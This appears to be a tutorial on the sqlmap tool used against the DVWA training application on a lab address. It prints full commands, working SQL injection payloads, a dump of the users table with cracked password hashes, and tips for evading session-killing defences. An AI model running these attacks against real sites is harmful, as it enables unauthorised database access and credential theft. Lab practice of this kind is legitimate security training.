Basic usage

To use sqlmap more effectively, you’ll want to use some of the plethora of options provided by the tool.

Let’s dissect some of the options used in the following command (which is also used in the example below)

  • -u : URL to submit the requests to
  • -p : Specific parameter to try SQLi on
  • --cookie : The cookie data as present in the HTTP request (for pages that need authentication)
  • --dbms : Specify the database if you already know it.

And, the example,

example
$ sqlmap --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit' -p id --dbms=MySQL

[*] starting at 22:46:45

[22:46:45] [INFO] testing connection to the target URL
[22:46:45] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:46:46] [INFO] target URL is stable
[22:46:46] [INFO] heuristics detected web page charset 'ascii'
[22:46:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:46:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[22:46:46] [INFO] testing for SQL injection on GET parameter 'id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[22:47:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:47:06] [WARNING] reflective value(s) found and filtering out
[22:47:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[22:47:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[22:47:06] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[22:47:06] [INFO] testing 'MySQL inline queries'
[22:47:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[22:47:06] [WARNING] time-based comparison requires larger statistical model, please wait..                                                              
[22:47:06] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[22:47:16] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable 
[22:47:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:47:16] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:47:16] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:47:16] [INFO] target URL appears to have 2 columns in query
[22:47:16] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 41 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=asd' AND (SELECT 2740 FROM(SELECT COUNT(*),CONCAT(0x716a6b7a71,(SELECT (ELT(2740=2740,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'nJFl'='nJFl&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: id=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))pYwt) AND 'ljBw'='ljBw&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=asd' UNION ALL SELECT CONCAT(0x716a6b7a71,0x427a4e7250694675784b,0x7162706b71),NULL-- &Submit=Submit
---
[22:47:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[22:47:22] [INFO] fetched data logged to text files under '/home/nitin/.sqlmap/output/192.168.56.101'

[*] shutting down at 22:47:22

Using a request file

This is my favourite way of using sqlmap. It takes out the pain of extracting information to be used with options on the command-line.

Here is a sample request file.( how to create a request file by Burp Suite )

$ cat dvwa_sqli_request.txt

GET /dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dvwa/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=7vveim3k49uk88jfusj6v0uqs5
Connection: keep-alive

Now, using the sample request as input to sqlmap,

$ sqlmap -r dvwa_sqli_request.txt -p id --dbms=MySQL

[*] starting at 23:04:13

dvwa_sqli_request.txt
[23:04:13] [INFO] parsing HTTP request from 'dvwa_sqli_request.txt'
dvwa_sqli_request.txt
[23:04:13] [INFO] testing connection to the target URL
[23:04:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[23:04:14] [INFO] target URL is stable
[23:04:14] [INFO] heuristics detected web page charset 'ascii'
[23:04:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:04:14] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[23:04:14] [INFO] testing for SQL injection on GET parameter 'id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[23:04:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:04:17] [WARNING] reflective value(s) found and filtering out
[23:04:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[23:04:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[23:04:17] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[23:04:17] [INFO] testing 'MySQL inline queries'
[23:04:17] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[23:04:17] [WARNING] time-based comparison requires larger statistical model, please wait..
[23:04:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[23:04:27] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable 
[23:04:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:04:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:04:27] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:04:27] [INFO] target URL appears to have 2 columns in query
[23:04:27] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 41 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=asd' AND (SELECT 7589 FROM(SELECT COUNT(*),CONCAT(0x717a767a71,(SELECT (ELT(7589=7589,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jjhL'='jjhL&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: id=asd' AND (SELECT * FROM (SELECT(SLEEP(5)))RjHu) AND 'ptvZ'='ptvZ&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=asd' UNION ALL SELECT NULL,CONCAT(0x717a767a71,0x6b4d735265694c50784a,0x71717a7671)-- &Submit=Submit
---
[23:04:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[23:04:32] [INFO] fetched data logged to text files under '/home/nitin/.sqlmap/output/192.168.56.101'

[*] shutting down at 23:04:32

Cracking passwords (Example Walkthrough)

Step 1: Find the name of the database

$ sqlmap -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#' --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' --current-db

Step 2: Find the tables of the database

$ sqlmap -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#' --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' --tables

Step 3: dump the passwords

$ sqlmap -u 'http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#' --cookie='security=low; PHPSESSID=h7h7qg2lnoe1ktns7gphsdcfb4' -D dvwa -T users --dump

...
...
[23:14:44] [INFO] fetching columns for table 'users' in database 'dvwa'
[23:14:44] [INFO] fetching entries for table 'users' in database 'dvwa'
[23:14:44] [INFO] analyzing table dump for possible password hashes
[23:14:44] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y 
[23:14:47] [INFO] writing hashes to a temporary file '/tmp/sqlmapSNyPFw7454/sqlmaphashes-Y3UX6b.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[23:14:50] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/nitin/Downloads/tools/sqlmapproject-sqlmap-25b2375/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[23:14:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[23:14:58] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[23:14:58] [INFO] starting 6 processes 
[23:15:00] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[23:15:01] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[23:15:03] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[23:15:04] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[23:15:06] [INFO] current status: ~n0xl... \
[23:15:06] [INFO] postprocessing table dump
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                                                | password                                    | last_name | first_name |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | http://192.168.56.101/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | http://192.168.56.101/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://192.168.56.101/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://192.168.56.101/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://192.168.56.101/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+

[23:15:06] [INFO] table 'dvwa.users' dumped to CSV file '/home/nitin/.sqlmap/output/192.168.56.101/dump/dvwa/users.csv'
[23:15:06] [INFO] fetched data logged to text files under '/home/nitin/.sqlmap/output/192.168.56.101'

[*] shutting down at 23:15:06

Common hiccups

Hiccup 1 – Patched the SQLi vulnerability but sqlmap still works and pwns my database!

The above statement sounds absolutely ridiculous, but it is true. Sometimes you discover a SQLi vulnerability with sqlmap, patch it up and run sqlmap again – and you see that the exploit still happens!

Not to worry, your codefix is probably working and sqlmap is fetching the results from its cache. Try using one of the following switches to solve this,

--flush-session     Flush session files for current target
--fresh-queries     Ignore query results stored in session file

Or, you could also manually remove the session files and run sqlmap once again.

$ ls -F ~/.sqlmap/output/
192.168.56.101/  localhost/  nitin@trusty/

$ ls -l ~/.sqlmap/output/192.168.56.101/
total 16
drwxr-xr-x 4 nitin nitin 4096 Mar 14 23:09 dump
-rw-rw-r-- 1 nitin nitin  939 May 10 23:04 log
-rw-r--r-- 1 nitin nitin 4096 May 10 23:04 session.sqlite
-rw-rw-r-- 1 nitin nitin   78 May 10 23:04 target.txt
Hiccup 2 – I know SQLi is possible but sqlmap fails

This is where you could try increasing the level and risk with the switches,

--level=LEVEL       Level of tests to perform (1-5, default 1)
--risk=RISK         Risk of tests to perform (0-3, default 1)
Hiccup 3- The URL does not appear in the form of param=value

For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like http://www.site.com/class_name/method/43/80.

In such cases sqlmap needs to be told the injection point marked by a *

http://www.site.com/class_name/method/43*/80

Hiccup 4 AVOID YOUR SESSION TO BE DESTROYED AFTER TOO MANY UNSUCCESSFUL REQUESTS

Options: --safe-url--safe-post--safe-req and --safe-freq

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide any (or combination of) option:

  • --safe-url: URL address to visit frequently during testing.
  • --safe-post: HTTP POST data to send to a given safe URL address.
  • --safe-req: Load and use safe HTTP request from a file.
  • --safe-freq: Test requests between two visits to a given safe location.

This way, sqlmap will visit every a predefined number of requests a certain safe URL without performing any kind of injection against it.